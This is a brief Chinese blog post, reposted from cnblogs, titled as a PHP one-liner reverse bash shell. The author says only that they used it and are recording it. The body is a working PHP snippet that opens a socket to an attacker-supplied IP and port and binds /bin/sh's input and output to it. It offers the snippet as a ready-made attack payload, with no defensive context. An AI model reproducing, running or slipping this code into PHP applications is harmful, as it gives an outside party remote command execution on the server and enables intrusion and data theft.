php一句话反弹bash shell - 羊小弟
2018-4-21 09:38:0 Author: www.cnblogs.com(查看原文) 阅读量:1 收藏

来源:https://www.leavesongs.com/PHP/backshell-via-php.html

用到了,记录一下

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

posted on 2018-04-21 09:38  羊小弟  阅读(709)  评论(0编辑  收藏  举报

Copyright © 2022 羊小弟
Powered by .NET 7.0 on Kubernetes Powered by: 博客园


文章来源: https://www.cnblogs.com/yangxiaodi/p/8898129.html
如有侵权请联系:admin#unsafe.sh